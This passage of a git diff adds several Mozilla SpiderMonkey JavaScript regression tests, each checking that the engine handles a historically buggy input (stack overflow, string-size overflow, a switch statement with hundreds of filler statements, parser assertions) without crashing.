+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ throw {toString: parseInt.call};
+}
+catch(e)
+{
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-299209.js b/js/src/tests/non262/regress/regress-299209.js
new file mode 100644
index 0000000000..891a4fd35d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-299209.js
@@ -0,0 +1,23 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 299209;
+var summary = 'anonymous function expression statement => JS stack overflow';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ eval('for (a = 0; a <= 10000; a++) { function(){("");} }');
+}
+catch(e)
+{
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-299641.js b/js/src/tests/non262/regress/regress-299641.js
new file mode 100644
index 0000000000..6f844b27fc
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-299641.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 299641;
+var summary = '12.6.4 - LHS for (LHS in expression) execution';
+var actual = '';
+var expect = 0;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f() {
+ var i = 0;
+ var a = [{x: 42}];
+ for (a[i++].x in [])
+ return(a[i-1].x);
+ return(i);
+}
+actual = f();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-303213.js b/js/src/tests/non262/regress/regress-303213.js
new file mode 100644
index 0000000000..d01c28d122
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-303213.js
@@ -0,0 +1,56 @@
+// |reftest| skip-if(!xulRuntime.shell||Android) -- bug 524731
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 303213;
+var summary = 'integer overflow in js';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+printStatus('This bug passes if no crash occurs');
+
+expectExitCode(0);
+expectExitCode(5);
+
+try
+{
+ var s=String.fromCharCode(257);
+
+ var ki="";
+ var me="";
+ for (i = 0; i < 1024; i++)
+ {
+ ki = ki + s;
+ }
+
+ for (i = 0; i < 1024; i++)
+ {
+ me = me + ki;
+ }
+
+ var ov = s;
+
+ for (i = 0; i < 28; i++)
+ ov += ov;
+
+ for (i = 0; i < 88; i++)
+ ov += me;
+
+ printStatus("done generating");
+ var eov = escape(ov);
+ printStatus("done escape");
+ printStatus(eov);
+}
+catch(ex)
+{
+ // handle changed 1.9 branch behavior. see bug 422348
+ expect = 'InternalError: allocation size overflow';
+ actual = ex + '';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-306633.js b/js/src/tests/non262/regress/regress-306633.js
new file mode 100644
index 0000000000..6efd1b92a6
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-306633.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 306633;
+var summary = 'report compile warnings in evald code when strict warnings enabled';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = 'SyntaxError';
+
+try
+{
+ actual = eval('super = 5');
+}
+catch(e)
+{
+ actual = e.name;
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-306794.js b/js/src/tests/non262/regress/regress-306794.js
new file mode 100644
index 0000000000..178c715e0d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-306794.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Blake Kaplan
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 306794;
+var summary = 'Do not assert: parsing foo getter';
+var actual = 'No Assertion';
+var expect = 'No Assertion';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ eval('getter\n');
+}
+catch(e)
+{
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-308085.js b/js/src/tests/non262/regress/regress-308085.js
new file mode 100644
index 0000000000..d23ff12c15
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-308085.js
@@ -0,0 +1,569 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 308085;
+var summary = 'JavaScript switch statement going to the wrong case';
+var actual = 'fail';
+var expect = 'pass';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+switch (0) {
+case 0:
+ actual = "pass";
+ break;
+case 1:
+ // 546 lines each with 30 "1;" statements
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
